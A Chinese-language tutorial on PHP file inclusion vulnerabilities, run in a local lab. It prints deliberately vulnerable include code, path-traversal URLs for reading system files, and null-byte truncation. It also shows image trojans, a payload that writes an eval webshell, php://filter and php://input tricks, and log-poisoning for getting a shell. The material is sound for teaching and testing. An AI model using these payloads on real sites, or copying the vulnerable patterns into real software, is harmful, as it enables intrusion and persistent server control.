一、文件包含漏洞概述
1.1 文件包含的概念
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
1.2 文件包含漏洞
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
原因:
被包含的文件路径设置为变量。[动态包含]
变量对用户端来说可控。[动态包含的文件路径用户端可控]
危害:
- 防御措施几乎全部失效,可以过安全狗。绝招。
几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP/ASP/ASP . net程序中比较少。
二、PHP文件包含漏洞
2.1 语句
PHP中提供了四个文件包含的函数,四个函数之间略有区别。如下
函数 | 区别 |
---|---|
include( ) | 用一次包含一次,文件包含失败时,会产生警告,脚本会继续运行。 |
include_once( ) | 与include()功能相同,文件只会被包含一次。 |
require( ) | 文件包含失败时,会产生错误,直接结束脚本执行。 |
require_once( ) | 与require()功能相同,文件只会被包含一次。 |
测试文件包含方法
1、www目录下创建include文件夹用作实验
2、创建 inc.php
<?php echo "This is inc.php"?>
3、创建 include.php
<?php include("inc.php"); echo "<h1>This is include.php</h1>"; include "./inc.php1"; include "./inc.php"; ?>
![]()
4、创建includeonce.php
<?php include_once("inc.php"); echo "<h1>This is include_once.php</h1>"; include_once "./inc.php"; ?>
![]()
5、创建require.php
<?php require("inc.php"); echo "<h1>This is require.php</h1>"; require "./inc.php1"; require "./inc.php"; ?>
6、将要包含的文件设置成变量,动态调用
创建 info.php
<?php phpinfo();?>
include.php
<?php $path="./inc.php"; include($path); echo "<h1>This is include.php</h1>"; $path="./info.php"; include $path; ?>
![]()
7、文件包含漏洞
<?php $path=$_GET['path']; include $path; echo "This is includehole.php"; ?>
![]()
![]()
可以看到,通过控制path参数,攻击者可以控制包含的文件,如一些敏感的配置文件或系统文件,甚至是恶意脚本(webshell)。
2.2 相关配置
文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(HTTP、FTP、PHP伪协议等)加载文件。
我们可以通过php.ini
来进行配置。如下:
2.2.1 本地文件包含(LFI)
- allow_url_fopen=On/Off
【不管开和关都可以包含本地文件,Off不能通过PHP伪协议加载文件,On可以通过PHP伪协议(php://
)加载文件】
本地文件包含就是我们可以通过相对路径的方式找到文件,然后包含之。
2.2.2 远程文件包含(RFI)
- allow_ url_ include=0n/0ff
2.3 文件包含示例
2.3.1 本地文件包含
EX:本地文件包含
我们可以通过以下简单的代码来测试文件包含漏洞。准备一个fileinclude.php文件。
<?php if(isset($_GET['path'] ) ){ include $_GET['path'] ; }else{ echo "?path=info.php"; } ?>
该文件会从GET方法获取path变量,也就是文件包含路径,然后包含此文件。
创建一个文件info.php,这个包含的文件的内容为:
<?php phpinfo() ;?>
本地文件包含(LFI):
本地文件包含就是我们可以通过相对路径的方式找到文件,然后包含之。访问的URL为:
http://172.16.132.138/fileInclude/fileinclude.php?path=info.php
2.3.2 远程文件包含
EX:远程文件包含
远程文件包含就是我们可以通过http(s)或者ftp等方式,远程加载文件。
- 当allow_url_include=0ff 【包含不成功】
![]()
- 当allow_url_include=On
HTTP:
![]()
FTP:
![]()
2.4 PHP文件包含漏洞原理及特点
2.4.1 漏洞原理
PHP文件包含是程序设计的基础功能之一,能够减少代码量,提供开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含
,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web应用没有进行严格净化,客户端用户可以影响或控制文件包含的路径,就会产生文件包含漏洞。
2.4.2 特点(漏洞利用)
PHP提供的文件包含功能非常强大,有以下特点:
- @无视文件扩展名:读取文件包含文件时,PHP会读取文件的源码,包括图片文件。
尝试包含图片,连接为:
http://172.16.132.138/fileInclude/fileinclude.php?path=smile.jpg
我们发现打开图片不是图像,而是图片的源码。
- @无条件解析PHP代码
文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。
例如,将info.php的后缀名改成info.rar,依然能够显示phpinfo() 信息。
这同时也为图片木马提供了一种利用方法。
EX:包含图片木马
未写入php代码,二进制形式打开。
![]()
通过修改图片exif信息插入php代码,制作恶意木马。
![]()
![]()
包含并执行了其中的PHP代码。✅
2.5 空字符安全绕过(CVE-2006-7243)
空字符安全限制绕过,是PHP小于5.3.4版本的一个漏洞,CVE编号是CVE-2006-7243。这个漏洞就是PHP接收来自于路径名中的空(Null)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制也就是我们之间讲过的00截断。00截断攻击也会体现在文件包含中。
Web应用在设计时候,经常会包含模板文件,简单程序如下
<?php
if(isset($_GET['path'])){
include $_GET ['path'].".html" ;
}else{
echo "?path= [path]";
}
?>
⚠️:PHP版本要小于5.3.4版本
⚠️:关闭PHP魔术引号(在 GPC数据" '
之前添加\
自动转译,⚠️:高版本的PHP已经删除这个功能 了。)
php相应版本的配置文件, 搜索 magic_quotes_gpc 改为 Off 重启服务。
EX:空字符安全绕过
1、创建漏洞文件index.php
![]()
2、测试其正常功能
![]()
![]()
http://192.168.33.4/include/00/?path=hello.html
3、利用00截断包含php可执行文件。
![]()
../phpinfo.jpg\0.html
未关闭魔术引号时不成功,添加了反斜杠转义符号。
![]()
![]()
4、包含图片木马
![]()
包含图片木马时不成功,php代码没有被执行。
但是切换回5.4.45版本时可以显示。
![]()
应该是PHP版本的原因。
注意:高版本GPC数据没有魔术引号的影响。
三、文件包含漏洞的利用
3.1 读取敏感文件
我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件:
- 1)目标主机文件存在(目标文件的路径,绝对路径,相对路径)
- 2)具有文件可读权限
例如:读取本地host的文件。
?path=c:\windows\System32\drivers\etc\hosts
..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
对于linux退到跟目录,对于windows退到当前脚本所在盘符的根目录。
EX:利用文件包含漏洞读取敏感文件
1、漏洞程序
<?php $path=$_GET['path']; include $path; echo "<h1>This is includehole.php</h1>"; ?>
2、读取敏感文件
C:\windows\system32\drivers\etc\hosts
![]()
..\..\..\..\..\..\windows\system32\drivers\etc\hosts
![]()
3.2 直接包含图片木马
EX:直接包含图片木马
1、准备图片木马
![]()
![]()
2、测试图片木马可用性
![]()
http://192.168.33.4/include/includehole.php?path=phpinfo.jpg&123=phpinfo();
3、用蚁剑连接getshell
http://192.168.33.4/include/includehole.php?path=phpinfo.jpg
密码:123
![]()
![]()
3.3 包含木马写Shell
我们也可以将如下代码写入到图片中,
<?php fputs (fopen('shell.php', 'w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
该段代码的含义是,在当前目录下创建一个名为[shell. php]的文件, 内容为[
<?php @eval(\$_ REQUEST['cmd'])?>
],当我们直接包含图片的时候,这段代码就会被执行。
EX:包含木马写shell
1、准备图片木马
![]()
2、包含图片木马
![]()
3、访问shell.php
![]()
4、用蚁剑连接
![]()
3.4 PHP封装协议(也是漏洞利用)
⚠️:开启 alow_url_include 选项(远程文件包含),开启 alow_url_fopen (本地php伪协议文件包含)选项。
3.4.1 PHP伪协议(file://)包含本地文件
我们可以使用php的file协议访问本地系统文件,提交参数:
?path=file://C:\windows\System32\drivers\etc\hosts
EX:利用file://协议访问本地文件
http://192.168.33.4/include/includehole.php?path=file://C:\windows\system32\drivers\etc\hosts ✅ http://192.168.33.4/include/includehole.php?path=file://..\..\..\..\..\..\..\..\windows\system32\drivers\etc\hosts ❌
![]()
3.4.2 PHP封装协议–传输PHP文件(php://filter)
可以使用以下参数来传送任意PHP文件,然后把得到的所有字符串base64解码即可。
?path=php://filter/read=convert.base64-encode/resource=inc.php
EX:利用php://传输PHP文件
1、获取目标文件的base64编码
![]()
http://192.168.33.4/include/includehole.php?path=php://filter/read=convert.base64-encode/resource=shell.php
2、用BP解码
PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==
![]()
成功获取网页源代码。
3.4.3 PHP封装协议- –(php://input) 执行PHP命令/代码
我们还可以利用PHP的封装协议来执行PHP命令。
EX:利用PHP封装协议执行PHP命令
1、拷贝有文件包含漏洞的链接,在repeater模块中粘贴URL作为请求。
2、用php://input执行命令/代码
![]()
![]()
有两种用途:1、CTF 2、持久控制的一个PHP后门(不会在目标服务器中留下后门)。
四、补充和扩展
⚠️:已知一个网站存在本地文件包含漏洞,没有文件上传的API,如何利用?
4.1 Apache日志攻击getshell
1、GET请求 中包含一句话木马
2、查看日志记录(需要知道日志文件的路径:常识或爆破)
3、利用文件包含漏洞包含日志文件
4、利用蚁剑连接getshell
4.2 包含session文件,造成SessionId泄漏
需要知道session文件在哪里。
4.3 代码审计发掘文件包含漏洞
metinfo5.0.4 文件包含漏洞代码审计
Seay源代码审计系统。【https://github.com/f1tz/cnseay】
总结
文件包含漏洞是指应用程序在运行过程中,通过用户输入或外部数据动态加载文件时,未能对输入进行严格过滤和验证,导致攻击者能够将恶意文件路径或URL注入到文件加载函数中,从而使应用程序包含并执行了恶意文件的内容。这种漏洞可能导致攻击者获取敏感信息、执行任意代码、篡改应用程序逻辑等,对系统的安全性和稳定性构成严重威胁。